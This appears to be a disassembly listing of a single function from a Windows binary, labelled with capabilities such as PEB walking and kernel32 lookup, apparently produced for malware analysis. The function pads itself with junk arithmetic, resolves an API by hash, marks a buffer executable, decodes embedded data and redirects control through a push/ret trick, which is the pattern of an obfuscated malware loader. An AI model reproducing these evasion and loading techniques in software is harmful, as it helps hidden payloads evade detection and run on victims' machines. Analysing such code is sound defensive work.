Function at 0x4020fe
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x489550], eax
inc eax
rcl edi, 0x27
shr bx, 0x34
dec cx
and ax, 0x3c2
rcl bx, 0xb7
rol ebx, 0x49
imul si
inc edx
imul si
shr esi, 0x66
xor eax, 0xf6
ror si, 0xfb
rcl ebx, 0xf1
xor di, 0x241
or ax, si
ror bx, 0xbe
rcl si, 0xae
ror si, 0xa0
mov edi, 0x291
rol dx, 0xf8
je 0x40217e
cmp edx, 0x5f
je 0x4021dc
rol si, 0x52
rcr edi, 0x4a
dec bx
dec edx
mul ecx
movsx ebx, dl
jmp 0x402191
sub eax, 0xc9
xor esi, 0x355
movzx eax, dx
xor di, 0x1ac
or di, 0x138
shr si, 0x4f
imul si
dec ebx
sub ecx, 0x1af
and bx, ax
ror ax, 0xdc
shr edx, 0x79
and cx, 0x25e
ror eax, 0xc0
jne 0x4021dc
cmp edx, 0x41
jb 0x40222c
shl cx, 0x7a
shr edi, 0x6c
inc dx
or ebx, 0x3dc
movsx eax, dh
ror ebx, 0x79
mul edx
inc si
ror di, 0x87
jmp 0x4021f6
mul ax
or cx, ax
shr ecx, 0x1f
rol cx, 0xd3
rcl edx, 0x2e
xor edx, esi
shl cx, 0x65
shl cx, 0x41
dec esi
xor eax, 0xe1
mov eax, ecx
dec esi
shl ax, 0xd9
movzx ebx, dx
or si, di
shl di, 0x40
add si, dx
jb 0x40222c
cmp edx, 0x5a
jb 0x40225d
shl edi, 0x50
dec cx
mov bx, bx
rcl cx, 0x3e
mul ax
shr cx, 0x45
jmp 0x40223e
rcl eax, 0x52
xor bx, di
mov ax, 0x276
sub edx, 0x2cf
imul ecx
rol dx, 0xeb
inc cx
mul di
rcl di, 0x70
imul dx
jae 0x40225d
test eax, 0x58
jne 0x4022a9
inc ecx
movzx ecx, dl
jmp 0x402277
inc ax
or edx, edi
rcr edi, 0x79
or ecx, 0x140
or si, cx
rcl ax, 0xba
rcl bx, 0xe2
mov esi, ebx
mov bx, 0x6f
mov edx, edx
and eax, 6
rcl cx, 0xc
imul esi
movsx edi, bh
rol ecx, 0xe7
shr esi, 0xc2
jb 0x4022a9
and ax, 0x114
or ebx, 0x43
inc dx
shl ax, 0xdc
xor edx, esi
mov dx, dx
ror ax, 0x42
jmp 0x4022c0
shl cx, 0xce
shr esi, 0xfd
mov di, 0x22e
mov dx, si
add eax, esi
mov eax, ebx
sub edx, edi
movsx edi, bx
imul si
mul ecx
rcl ebx, 0xf2
shr dx, 0x27
mul cx
dec ebx
dec cx
jae 0x4022f4
test eax, 0x56
jne 0x402321
rcr edi, 0xd
shr esi, 0x19
and ebx, 0x180
inc bx
rcl eax, 0xcf
xor ebx, 0x3b2
jmp 0x402308
imul bx
inc bx
mul si
sub dx, 0x360
mul esi
imul si
and ecx, esi
or bx, si
movzx eax, al
rcr esi, 0x5b
imul di
imul dx
dec ebx
je 0x402321
rcr ecx, 0x74
dec si
jmp 0x40232e
rol edi, 0x64
rcl bx, 0xf1
imul dx
rcr edi, 0x1f
or cx, 0x27b
and ebx, ebx
rol ecx, 0x69
xor eax, edx
ror di, 0x6b
or esi, 0x2f7
mov eax, 0x153
rcl si, 0xb9
jb 0x40236a
test esi, 0x5b
jne 0x4023a1
xor edi, 0x254
rol esi, 0x9f
dec edi
inc eax
dec di
ror bx, 0x18
jmp 0x40236d
rcl edx, 0xbc
rcr ebx, 0x47
mov edx, 0x3ca
add ecx, edx
rcr bx, 0xf8
jb 0x4023a1
test esi, 0x24
jae 0x4023dc
sub edx, 0x330
rcr edx, 0x55
mul di
or di, 0x127
rcr ax, 0x9f
rcr eax, 0x69
and esi, esi
jmp 0x4023ab
mul di
rcl ax, 0x1b
imul si
dec cx
mul dx
dec edi
shl si, 0x85
xor di, 0x18e
rol bx, 0xaa
mul ecx
shl edi, 0x2d
je 0x4023dc
cmp edx, 0x36
je 0x402416
movsx edx, si
mul cx
movzx esi, dh
mul di
mul ecx
mul edi
jmp 0x4023e3
mul di
sub si, 0x16
movsx eax, bh
mov ax, 0x1ca
inc ecx
inc edx
jae 0x402416
cmp edx, 0x11
ja 0x40245b
xor si, 0x33
mov edi, 0x2e3
and edx, 0x366
rcl dx, 0x1d
inc edi
xor ecx, 0x1da
shl dx, 0x47
add di, bx
jmp 0x40242b
inc esi
movzx ecx, ax
sub ax, ax
and eax, 0x2eb
rol bx, 0xd8
xor eax, 0x1c4
movzx eax, cl
movzx ecx, bx
or ecx, eax
imul ax
mov ecx, 0x37f
shr ebx, 0xf2
imul bx
jae 0x40245b
shl dx, 0xbe
ror ebx, 0xa7
rol edi, 0xc0
mul eax
rcr di, 0x52
rcl ecx, 0xd5
shl edi, 0x3e
jmp 0x40245f
shr dx, 0x63
rcr cx, 0xfb
dec edx
rcl ebx, 0x7e
ja 0x402483
xor bx, 0x85
shr edx, 0xe5
rol esi, 0x2a
movsx ecx, al
shr eax, 0xf6
imul ebx
imul ebx
sub dx, bx
jmp 0x40249a
or edi, 0x2cc
or cx, 0x160
and di, 0xb3
rcl edi, 0xfb
or di, cx
inc ecx
mul eax
rol di, 5
rcl si, 0x3d
dec di
xor eax, 0x144
rol si, 0xa0
rol edi, 0x77
and esi, 0x17
ror bx, 0x62
mul edi
ja 0x4024dc
ror eax, 0xca
movzx ecx, bh
sub eax, 0x2da
xor di, 0x1be
rol ebx, 0x3b
mul cx
xor ax, cx
inc ebx
mul di
jmp 0x4024eb
shr eax, 0xcb
or edx, eax
or ecx, 0x2d9
rol di, 0x10
or ecx, esi
mul edx
or edx, 0xa9
xor eax, 0x18
or eax, ebx
ror ecx, 0x42
rcr edx, 0x79
rcr ecx, 0x19
jb 0x402522
and dx, di
ror edx, 0x5a
dec bx
rol edi, 0x5c
shl cx, 0x3f
mul si
ror bx, 0x39
and dx, ax
inc si
jmp 0x40253e
movsx esi, di
imul edi
xor edi, 0x55
or bx, cx
or edi, edi
mov edx, 0x2ba
and edi, edx
imul cx
mov dx, di
imul ecx
imul ax
rcr edx, 0xa5
mul bx
shl ecx, 0x38
shr bx, 0xa
push 0x17
push 0x42fad0
mov edx, 0x4e4
mov ecx, 0x487af0
call fcn.00401cf2
pop ecx
pop ecx
xor ecx, 0x32a
mul esi
add eax, 0x196
shr di, 0x45
shr dx, 0xa1
and cx, 0x22c
shr di, 0xed
xor ebx, 0xff
imul cx
rcr ax, 0xcf
rcl ebx, 0x85
movsx eax, bh
movzx ebx, dx
imul edx
sub ebx, 0x9e
shl si, 0xf9
and edi, 0x139
mul ebx
add cx, 0x2d8
rol ax, 0xe7
mul si
dec ax
jae 0x4025c7
cmp ecx, 0x3d
je 0x40260b
imul eax
jmp 0x4025e0
xor si, si
rcr di, 0x1a
ror eax, 0xab
imul ax
dec bx
rcl ecx, 0x7f
inc edx
imul bx
imul di
inc si
rcl edi, 0xad
shl cx, 0xb2
mul bx
add ebx, ebx
jne 0x40260b
sub ecx, edx
mov ecx, 0x11d
xor eax, edx
rcr eax, 0xf8
xor ebx, ecx
ror eax, 0x39
add ax, 0x207
movsx edi, dh
inc edx
jmp 0x402627
dec di
xor ax, 0x358
dec edi
rcl esi, 0xac
shl dx, 0x94
add si, 0x35a
shl ecx, 0x57
rcl ax, 0xd
mul ecx
and edx, 0x1bd
rcl eax, 0x8c
shl cx, 0xfd
rol di, 0x71
imul dx
rol eax, 0xe4
and bx, 0x241
ror bx, 0xb9
rcr edx, 0x78
mov edx, 0x8aafdc01
call fcn.00402044
lea ecx, [ebp - 4]
push ecx
push 0x40
push 0x4e4
push 0x487af0
call eax
test eax, eax
je 0x402a7c
push 0x1a
push 0x487fe0
mov edx, 0x58000
mov ecx, 0x42faf0
call fcn.00401cf2
pop ecx
pop ecx
mov esi, 0x42faf0
push esi
mov edx, 0x487af0
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
sub esp, 0xc
mov dword [esp + 4], 1
xor dword [esp + 4], 0x5dc
mov dword [esp], edx
mov byte [esp + 8], 0
lea eax, sym.imp.USER32.dll_CloseWindow
mov eax, dword [eax]
push eax
ret
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10